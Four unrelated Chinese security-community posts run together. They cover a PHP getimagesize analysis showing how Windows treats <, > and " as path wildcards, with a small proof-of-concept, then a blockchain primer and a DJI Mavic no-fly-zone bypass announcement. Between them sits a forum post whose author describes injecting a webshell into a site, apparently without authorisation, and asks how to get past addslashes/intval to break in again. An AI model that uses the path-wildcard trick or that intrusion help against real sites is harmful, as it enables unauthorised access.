可见，`getimagesize`方法调用了`php_getimagesize_from_any`方法，那么接下来又是如何调用的呢？当然，你可以继续逐层追踪下去，但是这将会比较费时费力同时也需要更过的精力去理解大量的代码逻辑。笔者在这里将尝试从动态调试的角度来简化这个分析过程。
## 动态调试
在动态调试之前，我们需要做一些提前的准备如下：
* PHP的源码(本文调试的版本是[7.2.1](http://windows.php.net/downloads/releases/php-7.2.1-src.zip "7.2.1"))
* Visual Studio 2017
参考PHP官方文档在Windows上编译PHP-7.2.1：
<https://wiki.php.net/internals/windows/stepbystepbuild_sdk_2>
具体步骤这里不在赘述，唯一需要注意的点在于在编译之前用以下的命令来建立自己的configure文件：
configure --enable-debug --enable-phpdbg
编译完成之后，你会看到类似于下图的编译之后的PHP可执行文件：
接下来，我们需要准备一个测试目录，具体结构如下：
C:\
- Research\
-- admin\
--- test.png
-- poc.php
准备一个`poc.php`文件，具体内容如下：
<?php
$a = "c:\\research\\phptest\\ad<\\test.png";
exec('pause');
if(@getimagesize($a)){
echo "Success";
}else{
echo "Failed";
}
?>
使用我们编译后的PHP来执行的话，正常情况下应该会返回`Success`：
一切准备就绪，便可以进行动态调试了。
先启动Visual Studio打开我们在静态分析时找到的`\php-src\ext\standard\image.c`文件在第1505行下一个断点。
进入`C:\Research\`目录，使用编译后的PHP(例如：`C:\Research\php-sdk\phpdev\vc15\x64\php-7.2.1-src\x64\Debug_TS\php.exe`)来执行我们的`poc.php`文件，并在Visual
Studio里打开“调试-附加进程”来附加此处的PHP进程。
返回到执行poc文件的命令行下，敲击回车，我们发现前面设置的断点被成功hit了。
接下来的操作就需要特别的仔细和耐心了，使用VS提供的调试命令：
* F10: 单步调试
* F11: 逐语句调试
* Shift + F11： 跳出
经过以上一系列的调试，我们最终发现了PHP的`getimagesize`方法最终调用了Windows
API里的[FindFirstFileExW()](https://msdn.microsoft.com/en-us/library/windows/desktop/aa364419%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396
"FindFirstFileExW\(\)")，调用顺序如下：
* PHP_FUNCTION(getimagesize)
* php_getimagesize_from_any
* _php_stream_open_wrapper_ex
* php_stream_locate_url_wrapper
* wrapper->wops->stream_opener
* php_plain_files_stream_opener
* php_stream_fopen_rel
* _php_stream_fopen
* expand_filepath
* expand_filepath_ex
* expand_filepath_with_mode
* virtual_file_ex
* tsrm_realpath_r
* FindFirstFileExW
而根据StackOverflow上面的一个相关问题和MSDN的解释，这是NtQueryDirectoryFile /
ZwQueryDirectoryFile通过FsRtlIsNameInExpression的一个功能特性，对于[FsRtlIsNameInExpression](http://t.cn/R8GN5sP
"FsRtlIsNameInExpression")有如下描述：
The following wildcard characters can be used in the pattern string.
Wildcard character Meaning
* (asterisk) Matches zero or more characters.
? (question mark) Matches a single character.
DOS_DOT Matches either a period or zero characters beyond the name
string.
DOS_QM Matches any single character or, upon encountering a period
or end of name string, advances the expression to the end of
the set of contiguous DOS_QMs.
DOS_STAR Matches zero or more characters until encountering and
matching the final . in the name.
另外，MSDN的解释并没有提到`DOC-*`具体指哪些字符，但根据`ntfs.h`，我们发现了如下的定义：
// The following constants provide addition meta characters to fully
// support the more obscure aspects of DOS wild card processing.
#define DOS_STAR (L'<')
#define DOS_QM (L'>')
#define DOS_DOT (L'"')
因此，我们终于搞明白了为什么前言中说的这三个字符在Windows上被赋予了不同的含义了。
# 0x02 总结
通过以上分析，我们可以做以下的简短总结：
* 问题的产生的根本原因PHP调用了Windows API里的FindFirstFileExW()/FindFirstFile()方法
* 该Windows API方法对于这个三个字符做了特别的对待和处理
* 任何调用该Windows API方法的语言都有可能存在以上这个问题，比如：Python
# 0x03 参考
* <https://stackoverflow.com/questions/24190389/findfirstfile-undocumented-wildcard-or-bug>
* <http://www.osronline.com/showThread.cfm?link=36720> | 社区文章 |
**前些天遇到的一个站点，有一处get参数未过滤，导致注入直接写了shell，过了一段时间之后发现shell被删掉了，于是重新注入往里搞，结果多种尝试均无果，于是晚上登了3389，上去直接找源码看看是否有改动，结果如下：**
$g_id = intval(addslashes($_GET['id']));
关键代码处出现了一个addslashes()和intval()，而且查看了数据库和所有编码都为utf8，应该是不存在宽字节注入吧，请问还有其他方式往里怼么？ | 社区文章 |
# 前言
从2008年11月1日基于区块链技术的第一个应用“比特币”面世至今，区块链技术已经经历了10年零3个月的发展，在这期间，区块链技术不断革新，不断创新，不断发展，直到2018年，区块链技术在全球引起广泛关注，吸引了众多的项目方以及项目投资人，在金融领域更是炙手可热，不得不说区块链技术是一个划时代的创新。时至今日，区块链技术依旧盛行，笔者将通过这篇文章对区块链领域的一些基本概念、核心技术、安全性问题做以简要的介绍，希望对各位读者有益！
# 区块链简介
时常听别人说起区块链，那么到底什么是区块链呢？
**区块链可以简要定义如下：**
区块链（BlockChain）是一种分布式共享数据库（数据分布式存储和记录），利用去中心化和去信任化的方式集体维护一本数据簿的可靠性技术方案。
当然，如果要细化的话，也可以从以下两个角度来深入理解：
**数据角度**
区块链是一种几乎不可能被更改的分布式数据库。这里的“分布式”不仅体现在数据的分布式存储，也体现在数据的分布式记录（由系统参与者共同维护）。
**技术角度**
区块链并不是一个单一的技术，它融合了多种技术（密码学、经济学、博弈论等众多技术），这些技术以新的结构组合在一起形成了一种新的数据记录、存储和表达的方式。
# 区块链发展史
**前传**
1970年，密码学民用化，很多一线极客开始萌生保护个人隐私是自由社会的重要基石的想法，并开始付诸实践。
1973年，英国数学家和密码学家Clifford Cocks在英国政府通信总部（GCHQ）工作期间发明了一种公钥密码算法。
1978年，麻省理工学院研究人员Ron Rivest、Adi Shamir、Leonard
Adleman共同发明RSA非对称加密算法，即可用于数据加密，也可以用于签名，类似于Clifford Cocks的发明。
1982年，对分布式和并发系统的理论和实践做出了重大贡献的美国计算机科学家Leslie Lamport提出了著名的拜占庭将军问题（Byzantine
Generals Problem）,吸引了大批科学家开启这个领域的探索。
1985年，Neal Koblitz和Victor miller，首次将椭圆曲线应用于密码学，建立以公钥加密的算法
1989年，现代密码学奠基人之一大卫·乔姆（David
Chaum）创建的一个叫DigiCash的数字货币系统，使用户能够做出无法追踪的匿名交易。可惜过于超前，在1998年被迫破产，那时候电商刚刚起步。
1991年，计算机大牛菲利普·齐默曼（Philip
R.ZimmerMann）开发了一个加密方面的产品，它能允许用户安全地存储文件和BBS上发表信息，而这些电子文档不会遭到泄露或篡改，处于这一目的，他找到了公钥和对称加密算法之间的平衡点，也就是今天的PGP(Pretty
Good Privacy)
1992年，英特尔高级科学家Tim May发起密码朋克邮件列表组织。同年Eric
Hughes开发了Crypto匿名邮件列表，这一年可以说是“密码朋克”元年。
1996年，道格拉斯·杰克逊推出了一种叫E-Gold的数字货币。
1997年，Jim Choate和Lgor Chudov建立Cypherpunks Distributed Remailer(密码朋克分发服务器)
1998年，华裔密码朋克戴伟（Wei Dai）提出了匿名的、分布式的电子加密货币系统B-money，被认为是比特币的精神先导。
1999年，肖恩·范宁与肖恩·帕克创立了Napster,添加了点对点网络技术开发，从此诞生了应用的P2P协议。
2005年，哈尔芬尼设计了工作量证明及时（POW）的前身"可复用的工作量证明（RPOW）",RPOW是一个发行代币的系统的原型，代币可以与其他人交易，以换取计算密集型工作，它的灵感部分来自于Bit-Gold。哈尔·芬尼后来帮助中本聪运行比特币系统。
**诞生**
2008年，一个自称是中本聪的人发表了一篇叫《比特币：一种点对点的电子现金系统》的论文，在论文中，他正式提出区块链概念。
2009年，中本聪在位于芬兰赫尔辛基的一个小型服务器上挖出了第一个区块——“创世区块”，并获得了50个比特币报酬，比特币网络开始出现，比特币正式诞生。
2010年，第一个比特币平台成立，新用户暴增，价格暴涨。在这一年，加文·安德烈森加入到比特币系统开发，成为核心成员。同年7月，世界第一家比特币交易平台MT·GOX在东京创立，11月，比特币市场达到100万美金，12月12日中本聪最后一个帖子出现后，就消失了。之后加文·安德烈森以首席科学家的身份接管了比特币网络。
**成长**
2011年，全网计算速度达900Ghash/SEC，但很快又下跌了40%，挖矿进入显卡时代。
2012年，首家在欧盟法律框架下进行运作的比特币交易所-法国比特币中央交易所诞生，这是世界首家官方认可的比特币交易所。
2013年，世界各国政府开始关注比特币，美国德州联邦法官裁定比特币为合法货币，受美国证券委员会监管；德国政府将比特币归类为“货币单位”和“私人资金”，可购买实物。加拿大启用世界首台比特币ATM,该设备有美国Robocoin公司制造
2014年，被称为“下一代加密货币与去中心化应用平台”的以太坊通过ICO众筹开始得以发展。
2015年，coinbase交易所开启，美国第一家合规化的交易所上线。区块链概念在世界创业圈深入人心。
2016年，英国脱欧，比特币成为避险投资，微软加入专注区块链的数字贸易商会，腾讯华为加入金融区块链合作联盟，比特币迎来新的一波减半。
**爆发**
2017年，比特币几起几落，价格疯狂上涨，为期已久的以太坊在这一年正式上线，价格一路飙升，称为仅次于比特币的第二加密货币。
2018年，区块链创业飙升为新一年的创业风口，行业开始出现井喷，资本、媒体和创业者疯狂涌入，像潮水一样把区块链吹捧成百年一遇的大风口，一场轰轰烈烈的造富运动（割韭菜）拉开了帷幕。
# 区块链的特征与分类
## 特征
**开放、共识**
任何人都可以参与到区块链网络，每一台设备都能作为一个节点，每个节点都允许获得一份完整的数据库拷贝。节点间基于一套共识机制，通过竞争计算共同维护整个区块链。任一节点失效，其余节点仍能正常工作。
**去中心化、去信任化**
区块链由众多节点共同组成一个端到端的网络，不存在中心化的设备和管理机构。节点之间数据交换通过数字签名技术进行验证，无需互相信任，只要按照系统既定的规则进行，节点之间不能也无法欺骗其它节点。
**交易透明性、匿名性**
区块链的运行规则是公开透明的，所有的数据信息也是公开的，因此每一笔交易都对所有节点可见。由于节点与节点之间是去信任的，因此节点之间无需公开身份，每个参与的节点都是匿名的。
**不可篡改、可溯源**
单个甚至多个节点对数据库的修改无法影响其他节点的数据库，除非能控制整个网络中超过51%的节点同时修改，这几乎不可能发生。区块链中的每一笔交易都通过密码学方法与相邻两个区块串联，因此可以追溯到任何一笔交易的前世今生。
## 分类
目前已知的区块链及时应用大致有三类：
**（1）公有链**
公有链公开透明。全世界任何个体或团体都可以在公有链上读取、发送交易，且交易能够获得该区块链的有效性认证，是每个人都能参与器共识过程的区块链，如下图所示。
**（2）联盟链**
联盟链半公开，参与区块链的节点是预先指定好的，这些节点之间通常有良好的网络连接等合作关系，每个区块的生成会由所有预选记账人共同决定，其他节点可以交易，但没有记账权。通常为某个群体或组织内部使用，如下图所示：
**（3）私有链**
私有链则完全封闭，参与的节点仅在有限范围，数据的范围以及使用由严格的管理权限。仅采用区块链技术进行记账，记账权并不公开，且只记录内部的交易，由公司或者个人独享，如下图所示：
## 公有链VS私有链VS联盟链
公有链、联盟链、私有链互有优势，也各有局限。公有链很难实现的很完美，联盟链、私有链需要找到在现实社会中有迫切需求的应用需求和场景。至于具体选择那套方案就要看具体需求，有时使用公有链会更好，但有时候又需要一定的私有控制，适合使用联盟链或私有链。
**（1）各自的优势和弊端**
A.公有链作为一种完美分布式的区块链，数据公开、访问门槛低，用户参与程度高，一遇应用推广，便于产生网络效应。但系统的运行却依赖于内建的激励机制，存在决策太过困难，技术更新困难，且容易遭到攻击，效率较低，交易费用越来越高等弊端。
B.联盟链为部分意义上的分布式区块链，因参与节点的预先指定，验证效率高，仅需极少成本即可维持运行，提供了高速交易处理的同事，降低了交易费用，有很好的扩展性，数据可以保持一定的隐私性。但是这也意味着在共识达成的前提下，参与节点可以一起篡改数据。
C.私有链最大的好处就是加密审计，发生错误时也能追踪错误来源。且在特殊情况需求下，运行着私有链的机构或公司可以很容易地修改该区块链的规则、还原交易、修改余额等。这一点似乎略有违背区块链的本质，但是却适用于一些特殊的场景需求。例如，全国土地登记，要实现这个功能就必须要使用私有链，毕竟，试图奖励一个不受政府控制的土地登记机构，在实践中是不会被政府承认的。另外，由于私有链验证者是内部公开的，交易的成本会很低，并且不存在部分验证节点共谋进行51%攻击的风险。
**（2）三者的区别**
三者的区别可以用下表来进行简要的总结：
# 区块链网络
## 节点网络
任何机器都可以运行一个完整的比特币节点，一个完整的比特币节点包括如下功能：
1.钱包，允许用户在区块链网络上进行交易
2.完整区块链，记录了所有交易历史，通过特殊的结构保证历史交易的安全性，并且用来验证新交易的合法性
3.矿工，通过记录交易及解密数学题来生成新区块，如果成功可以赚取奖励
4.路由功能，把其它节点传送过来的交易数据等信息再传送给更多的节点
## 区块链交易过程
**Step 1：** 所有者A利用他的私钥对前一次交易（比特货来源）和下一位所有者B签署一个数字签名，并将这个签名附加在这枚货币的末尾，制作成交易单
**要点：B以公钥作为接受方地址**
**Step 2:** A将交易单广播至全网，比特币就发送给了B,每个节点都将受到交易信息纳入一个区块中
**要点：对B而言，该枚比特币会即时显示在比特币钱包中，但直到区块确认成功后才可用。目前一笔比特币从支付到最终确认成功，得到6个区块确认之后才能真正确认到帐。**
**Step 3:** 每个节点通过解一道“计算难题”，从而去获得创建新的区块权利，并争取得到比特币的奖励。
**要点：节点反复尝试寻找一个数值，使得将该数值、区块链中最后一个区块的Hash值以及交易单三部分送入SHA256算法后能计算出散列值X（256位）满足一定条件（比如前20位均为0），即找到数学难题的解。由此可见，答案并不唯一**
**Step 4:** 当一个节点找到解时，它就向全网广播该区块记录的所有盖有时间戳的交易，并有全网其他节点核对。
**要点：时间戳用来证实特定区块必然于某特定时间是的确存在的。比特币网络采取从5个以上节点获取时间，然后取中间值的方式作为时间戳。**
**Step 5:** 全网其他节点核对该区块记账的正确性，没有错误后他们将在该合法区块之后竞争下一个区块，这样就形成了一个合法记账的区块链。
**要点：每个区块的创建时间大约在10分钟。随着全网算力的不断变化，每个区块的产生时间会随算力增强而缩短、随算力减弱而延长。其原理是根据最近产生的2016年区块的时间差（约两周时间），自动调整每个区块的生成难度（比如减少或增加目标值中0的个数），使得每个区块的生成时间是10分钟。**
# 区块链数据结构
## 创世区块
比特币区块链的第一个区块，创建于2009年，我们称之为“创世区块”。它是比特币区块链里所有区块的共同祖先，这意味着你从任一区块，循链向后回溯，最终都将到达创世区块。
每一个节点都知道创世区块的哈希值、结构、被创建的时间和里面的一个交易。因此，每个节点都把该区块作为区块链的首区块，从而构建了一个安全的、可信的区块链的根。
下图是比特币创始人中本聪留下的一句话。
“The Times 03/Jan/2009 Chancellor on brink of second bailout for banks”
这句话正是泰晤士报当天的头版文章标题。
## 区块
区块作为区块链的基本结构单位，由包含元数据的区块头和包含交易数据的区块主体组成。
**区块头包含三组元数据：**
1.用于连接前面的区块、索引自父区块哈希值的数据；
2.挖矿难度、Nonce值（随机数，用于工作量证明算法的计数器）、时间戳；
3.能够总结并快速归纳校验区块中所有交易数据的Merkle(默克尔)树根数据。
区块链系统大约每10分钟会创建一个区块，其中包含了这段时间里全网范围内发生的所有交易。每个区块中也包含了前一个区块的ID(识别码)，这使得每个区块都能找到其前一个节点，这样一直倒推就形成了一条完整的交易链条。从诞生之初到运行至今，全网随之形成了一条唯一的主区块链。
# 新区块生成过程
在当前区块加入区块链后，所有矿工就立即开始下一个区块的生成工作。
1.首先把在本地内存中的交易信息记录到区块主体中
2.之后在区块主体中生成此区块中所有交易信息的 Merkle 树，把 Merkle 树根的值保存在区块头中
3.把上一个刚刚生成的区块的区块头的数据通过 SHA256 算法生成一个 哈希值填入到当前区块的父哈希值中
4.把当前时间保存在时间戳字段中
5.难度值字段会根据之前一段时间区块的平均生成时间进行调整以应对整个网络不断变化的整体计算总量，如果计算总量
增长了，则系统会调高数学题的难度值，使得预期完成下一个区块的时间依然在一定时间内
# 区块链核心技术
## 区块和链
区块链上可能出现的信息安全与不信任问题提现在两方面：
一、试图更改之前某个区块上的交易信息
二、试图控制新区块的生成
解决这两个问题的关键都在于 **解数学题背后所代表的巨大计算能力的保证。**
**1.更改某区块的交易信息**
因此，恶意节点如果想要成功修改交易信息，只有重新计算被更改区块后续的所有区块，并且追上网络中合法区块的进度之后这个长度的区块链分叉被提交给网络的其他节点，才有可能被认可。在当前全网巨大计算能力的背景下，一个恶意节点想要重新计算多个区块并且追上全网的情况很难出现。
**2.控制新区块的生成**
试图控制新区块的生成，则需要恶意节点率先得出数学题的解并且得到认可。由于区块中的交易由该节点决定，因此恶意节点可以永远不然某个交易得到认可。
理论上控制新区块的生成是可能的实现的：当恶意节点的计算能力高于网络中所有其他节点的计算能力的总和时，也就是恶意节点占据了全网51%的计算能力，恶意节点就可以控制新区块的生成，这种攻击被称为51%攻击。然而，在现实中，一个节点的计算能力超过其它所有节点的总和时非常困难的。
## 数学原理
比特币的所有权通过 **数字密钥、比特币地址** 和 **数字签名** 来确定，其中数字密钥由用户生成并存储在文件或数据库中，称之为“钱包”。
钱包中不包含比特币，只包含密钥。一个用户的数字密钥是完全独立于比特币协议的，由用户的钱包生成并自行管理，无需区块链或网络连接。
每笔交易需要一个有效签名才会被存储在区块中。只有有效的数字密钥才能生成有效签名，因此拥有了密钥就相当于用于了对账户中比特币的控制权。
密钥是成对出现的，由一个私钥和一个公钥组成。其中， **公钥** 是公开的，相当于传统货币交易场景中的银行账号，用来接收比特币； **私钥**
仅限于拥有者可见并使用，用于支付时的交易签名，以证明所有权。
私钥是一个随机选出的数字，通过不可逆的加密函数（椭圆曲线运算）产生一个公钥，之后再通过公钥，使用哈希函数生成一个比特币地址。比特币地址是由数字和字母构成的字符串，可以与任何人分享。
## 分布式结构
区块链的分布式结构使得数据并不是记录和存储在中心化的电脑或主机上，而是让每一个参与数据交易的节点都记录并存储下所有的数据信息。为此，区块链采用了开源的、去中心化的协议来保证数据的完备记录和存储。
**传播**
区块链的每一笔交易信息由当个节点发送给全网所有节点。因此，信息拦截者无法通过拦截某个信息传播路径而成功拦截信息，因为每个节点均收到了该信息。另外采用非对称加密的加密算法，只有拥有该交易信息的私钥才可以打开信息读取内容，保证了信息安全性。
**记录**
区块链构建了一整套协议机制，让全网络的每个节点在参与记录数据的同时，也参与验证其他节点记录结果的有效性。只有当全网大部分节点（甚至所有节点）都确认记录的有效性时，该数据才会被写入区块。
**存储**
在区块链的分布式结构的网络系统中，参与记录的网络节点会时时更新并存放全网系统中的所有数据。因此，及时部分节点遭到攻击或被破坏，也不会影响这个数据系统的数据更新和存储。
## 证明机制
区块链的证明机制也就是其证明算法，通过某一种证明算法以证明区块的正确性和拥有权，以使各个节点达成共识。目前z主流的区块链的证明机制有三种：
**
工作量证明机制————Proof Of Work(POW)
权益证明机制————Proof of Stake(POS)
股份权益证明机制——Delegated Proof-of-stake(DPOS)**
其中，比特币使用的就是工作量证明机制。
可以看到，比特币使用的工作量证明机制存在几个缺陷：
**首先，技术垄断和算力集中导致了中心化。** 因此，普通个体是不可能挖到矿，矿池则应运而生。
**其次，矿工与持币者的利益错位。**
矿工不一定是比特币持有者，因此会出现“矿工利益”和“持有者利益”不同的情况。比如，“双花”的情况下，挖矿的人会获利，而持币者利益必将受到损失。
**再者，巨大的成本消耗必将带来通胀。**
目前比特币的通胀率大概为年化13%。比特币的数量是有上限的，因此随着产量减半，在价格不变的情况下，算力至少下降一半，而网络安全性就会下降。在不损害网络安全性的前提下，则有必要维持高通胀率。
# 区块链核心问题
## 分叉问题
同一时间段内全网不止一个节点能计算出随机数，即会有多个节点在网络中广播它们各自打包好的临时区块（都是合法的）。
某一节点若收到多个针对同一前续区块的后续临时区块，则该节点会在本地区块链上建立分支，多个临时区块对应多个分支。该僵局的打破要等到下一个工作量证明被发现，而其中的一条链条被证实为是较长的一条，那么在另一条分支链条上工作的节点将转换阵营，开始在较长的链条上工作。其他分支将会被网络彻底抛弃。故，分叉问题，谁长听谁的。
## 双花问题
双花问题是指一笔交易数字现金在交易中被重复使用的现象。我们以比特币为例，中本聪在《比特币白皮书》第五小节中是这样描述的，运行比特币的步骤如下：
1.新的交易向全网广播；
2.每一个节点都将受到的交易信息纳入一个区块中；
3.每个节点都尝试在自己的区块中找到一个具有足够难度的工作量证明；
4.当一个节点找到了一个工作量证明，它就向全网进行广播；
5.当且仅当包含在该区块中的所有交易都是有效的且之前未存在过的，其他节点才认同该区块的有效性；
6.其他节点表示他们接受该区块，而接受的方法则是跟随在该区块的末尾，制造新的区块以延长该链条，并将该区块的随机散列值视为新区块的随机散列值。
也就是说，交易发生的一刻起，比特币的交易就被盖上了时间戳，而当这笔交易数据被打包到一个区块中后，就算完成了一次确认；在连续进行6次确认之后，这笔交易就不可逆转了；在比特币中，每一次确认都需要“解决一个复杂难题”，也就是说每一次确认都需要一定的时间。
在这种情况下，当我试图把一笔资金进行两次支付交易的时候，因为确认时间较长，后一笔交易想要与前一笔交易同时得到确认几乎是不可能的，而这笔资金在第一次交易确认有效后，第二次交易时就无法得到确认。区块链的全网记账需要在整个网络中达成共识，双花问题是无法产生的。
# 分布式系统核心问题
## 一致性问题
在分布式系统中，一致性是指对于系统中的多个服务节点，给定一系列操作，在协议保障下，试图使得他们对处理结果达成某种程度的一致。
如果分布式系统能够实现“一致”，对外就可以呈现为一个功能正常的，且性能和稳定性都要好很多的“虚处理节点”
例如：某影视公司旗下有西单和中关村两个影院，都出售电影票，票一共一万张。那么，顾客到达某个电影院买票的时候，售票员该怎么解决是否该卖这张票，才能避免超售呢？当电影院个数更多的时候呢？
这个问题在人类世界中，看起来似乎没有那么难，你看，英国人不是刚刚靠“投票”达成了“某种一致性”吗？哈哈哈~~~
注意：一致性并不代表结果正确与否，而是系统对外呈现的状态是否一致，例如，所有节点都达成失败或者成功的状态的一致性。
## 共识算法
要保障系统满足不同程度的一致性，往往需要通过共识算法来达成。
共识算法解决的是对某个提案让大家达成一致意见的过程。提案的含义在分布式系统中十分宽泛，如多个时间发生的顺序、某个键对应的值.....等等,可以认为任何需要达成一致的信息都是一个提案。
## CAP
CAP原理最早由Eric Brewer在2000年，ACM组织的一个研讨会上提出猜想，后来Lynch等人进行了证明。该原理被认为是分布式系统领域的重要原理。
CAP原理，即分布式系统不可能同时确保一致性（Consistency）、可用性（Availablity）、和分区容忍性（Partition），设计中往往需要弱化对某个特性的保证。
**一致性:** 任何操作都是原子的，发生在后面的事件能看到前面事件发生导致的结果。
**可用性:** 在有限的时间内，任何非失败节点都能应答请求。
**分区容忍性：** 网络可能发生分区，即节点之间的通信不可保障。
比较直观的理解，当网络可能出现分区的时候，系统是无法同时保证一致性和可用新的。要么，节点收到请求后因为没有得到其他人的确认就不应答，要么节点只能应答非一致性的结果。
好在大部分时候网络被认为是可靠的，因此系统可以提供一致可靠的服务；当网络不可靠时，系统要么牺牲掉一致性，要么牺牲掉可用性。
## 拜占庭问题与算法
拜占庭问题更为广泛，讨论的是允许存在少数节点作恶（消息可能被伪造）场景下的一致性达成问题。拜占庭算法讨论的是最坏情况下的保障。
**中国将军问题**
拜占庭将军问题之前，就已经存在中国将军问题：两个将军要通过信使来达成进攻还是撤退的约定，但信使可能迷路或被敌军阻拦（消息丢失或伪造），如何达成一致。根据不可能原理，这个问题无解。
**拜占庭问题**
又叫拜占庭将军（Byzantine Generals Problem）问题，是 Leslie Lamport 1982
年提出用来解释一致性问题的一个虚构模型。拜占庭是古代东罗马帝国的首都，由于地域宽广，守卫边境的多个将军（系统中的多个节点）需要通过信使来传递消息，达成某些一致的决定。但由于将军中可能存在叛徒（系统中节点出错），这些叛徒将努力向不同的将军发送不同的消息，试图会干扰一致性的达成。
拜占庭问题即为在此情况下，如何让忠诚的将军们达成行动的一致性。
# 区块链涉及的安全技术
## Hash算法
哈希算法是区块链中保证交易信息不被篡改的单向密码机制。哈希算法接收一段明文后，以一种不可逆的方式将其转化为一段长度较短、位数固定的散列数据。
**它有两个特点：**
1.加密过程不可逆，意味着我们无法通过输出的散列数据倒推出原本的明文是什么；
2.输入的明文与输出的散列数据一一对应，任何一个输入信息的变化，都必将导致最终输出的散列数据的变化。
在区块链中，通常使用SHA-256(完全散列算法)进行区块加密，这种算法的输入长度为256位，输出的是一串长度为32字节的随机散列数据。区块链通过哈希算法对一个交易区块中的交易信息进行加密，并把信息压缩成由一串数字和字母组成的散列字符串。区块链的哈希值能够唯一而准确地标识一个区块，区块链汇总任意节点通过简单的哈希计算都可以获得这个区块的哈希值，计算出的哈希值没有变化也就意味着区块中的信息没有被篡改。
## 公钥和私钥
在区块链的话题中，我们还经常会听到这样的词汇————公钥、私钥。这就是俗称的不对称加密方式，是对以前的对称加密方式的一种提高。在我们的交易过程中，经常会使用到公钥与私钥，图解如下：
1. 交易的原始数据包括“转账数额”和“转入钱包地址”，但是仅有这些是不够的，因为无法证明交易的生成者对“转出钱包地址”余额有动用的权利。所以需要用“私钥”对原始数据进行签名。
2. 生成“转出钱包公钥”，这一过程与生成“钱包地址”的第2步是一样的。
3. 将“转出签名”和“转出公钥”添加到原始交易数据中，生成了正式的交易数据，这样它就可以被广播到比特币网络进行转账了。
##时间戳
区块链中的时间戳从区块生成的一刻开始就存在与区块中，它对应的是每一次交易记录的认证，证明交易记录的真实性。
时间戳是直接写在区块链中的，而区块链中已经生成的区块不可篡改，因为一旦篡改，生成的hash值就会发生变化，从而变成一个无效的数据。每一个时间戳都会将前一个时间戳也纳入其随机数hash值中，这一过程不断重复，依次相连，最后生成一个完整的链条。
##Merkle树结构
区块链利用Merkle数的数据结构存放所有叶子节点的值，并以此为基础生成一个统一的Hash值。Merkle数的叶子节点存储的是数据信息的hash值，非叶子的节点存储的是对其下面所有叶子节点的组合进行hash计算后得出的hash值。
同样的，区块链中任意一个数据的变更都会导致Merkle树结构发生变化，在交易信息验证比对的过程中，Merkle树结构能够大大减少数据的计算量，毕竟，我们只需要验证Merkle树结构生成的统一hash值就ok了。
# 区块链的优点
**完全分布式：** 任意节点宕机不会导致网络崩溃。
**去信任性：** 每一笔交易都由全网节点共同背书，所以不需要知道对方的身份，可以接受对方的交易。
**解决了数字货币的“双花”问题**
**降低交易成本：** 因为不需要查清对方的信用，也就不需要征信，所以大大降低交易成本
**提高了可靠性和不可篡改性：** 只有全网51%的节点被攻破才能篡改账本，作假成本极高，需要很大的算力，
**瞬间公证、清算、审计、财务公开：** 由于所有数据全网都有，所以随时随刻可以清算、审计，完全公开，这解决了人类财务体系的痛点。
**私密性：** 由于不需要对方的信用，所以可以匿名交易，交易的数据也可以加密，所以交易的私密性可以得到保障。
# 区块链的局限性
**性能与容量问题：**
1.去中心化程度与共识机制效率的矛盾：去中心化程度越高，共识机制效率越低，交易时延越长，交易吞吐越低，因此两者必须平衡。
2.账本存储容量和处理性能的矛盾：账本规模的增长，会带来节点的硬件资源门槛的提高。
**安全性局限**
1.51%攻击：需要引入大量节点，如果节点太少，51%攻击很容易。
2.私钥与终端安全：私钥存储在用户终端本地，如果私钥被窃取，就会出现资金损失。
3.共识机制安全：PoW、PoS的共识机制是否真正安全，缺乏严格的证明和试验。
# 区块链应用的分类
**区块链1.0应用：** 数字货币
**区块链2.0应用：** 智能合约+数字货币，例如：跨境支付、反洗钱、证券发行与交易、数字化资产等。
**区块链3.0应用：** 扩展到金融行业以外其他行业
1.隐私数据存储：区块链的高冗余存储、去中心化、高安全性和隐私保护等特点，使其特别适合存储和保护重要隐私数据。
2.防伪溯源：善款进入系统后，整个生命周期都将记录在区块链上，没有人工拨付等环节，每一笔款项的去向很难人工更改。这样就可以促进公益捐款全过程的开放和透明。
3.身份认证：区块链数字身份识别证书
4.能源管理：去中心化网络，让网内用户在其屋顶太阳能发电超过需求时，可卖给社区的邻居，可以彼此互通有无，并以区块链虚拟货币来结算。
5.投票：开源在线投票。
## PS:
因为最近比较忙，而这篇文章也是赶了好久完成的，所以如果有纰漏之处还请各位多多见谅！后期如果有时间、有机会的话，定为大家分享更多与区块链相关的技术与知识，例如智能合约安全审计系列、钱包、交易所、以及公链安全性技术问题的研讨，敬请期待！谢谢各位的阅读！
## 参考：
【1】《图说区块链》
【2】《人人都懂区块链》
【3】《区块链技术指南》 | 社区文章 |
# 360 Marvel Team IOT安全系列第一篇dji mavic破解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：唐青昊
关于360 Marval Team
IOT安全系列文章：该系列包括了多种受众较多并且有趣的设备，我们将在不产生公众影响的前提下将分析报告中的关键部分予以公开。目标是期待在攻防对抗的过程中，提升IOT产品的安全性。
关于DJI Mavic Pro：该机型是大疆无人机产品中的旗舰产品，可使用遥控器配合手机的方式对无人机进行操控。更多介绍请见DJI官网。
小型无人机产品在近几年发展迅速，销量逐年上升。全球各国对无人机的飞行管控也从到有建立起来，并且愈加严格。前几年可以随时飞无人机的户外景点，目前也都贴上了“NO
DRONE ZONE”的标识。
无人机的安全性是整个产业中非常重视的一环。因为一旦无人机可以随意飞行，将可能导致设施损失甚至人员伤亡。并且，跟据新闻报道，在中东战场出现了无人机被改装用来投弹的现象。
无人机厂商为了保证产品安全性，设计了极为复杂的安全机制。如对无人机的实时GPS信号判断是否禁飞；对遥控器和无人机之间，以及手机和无人机之间的通信进行加密。这些措施保障了无人机在绝大多数情况下的稳定运行。
在国内一些特殊群体中也出现了使用GPS欺骗工具来破解禁飞的方法。这种使用物理设备对抗软件安全算法的尝试通常会导致无人机飞行功能不能充分使用，因此在成熟的无人机解决方案中较少出现。
在我们对DJI
Mavic的安全性研究的分析过程中，发现了使用纯软件漏洞破解禁飞的方法。针对最新版无人机固件（V01.04.0300），可以通过usb连接无人机，然后运行我们的禁飞破解工具，即可通过更改无人机系统的方式实现禁飞破解。
以下是对无人机系统运行细节的截图。分别是进程列表信息，和对外监听端口的信息。
当禁飞解除后，可以实现在任意区域的飞行。如图所示：
关于360 Marvel Team：Marvel
Team是360公司安全研究员唐青昊在2015年成立的安全团队，致力于在互联网前沿业务领域开展信息安全技术研究。在2015至2017的时间中致力于云安全方向的虚拟化系统漏洞挖掘，发现数十枚高危安全漏洞，受邀在5个国际安全会议中进行演讲，并最终完成有安全奥运会之称的PWN2OWN比赛项目。在2018年开始在IOT和区块链领域的新征程。
**360 Marvel Team** **历史文章：**
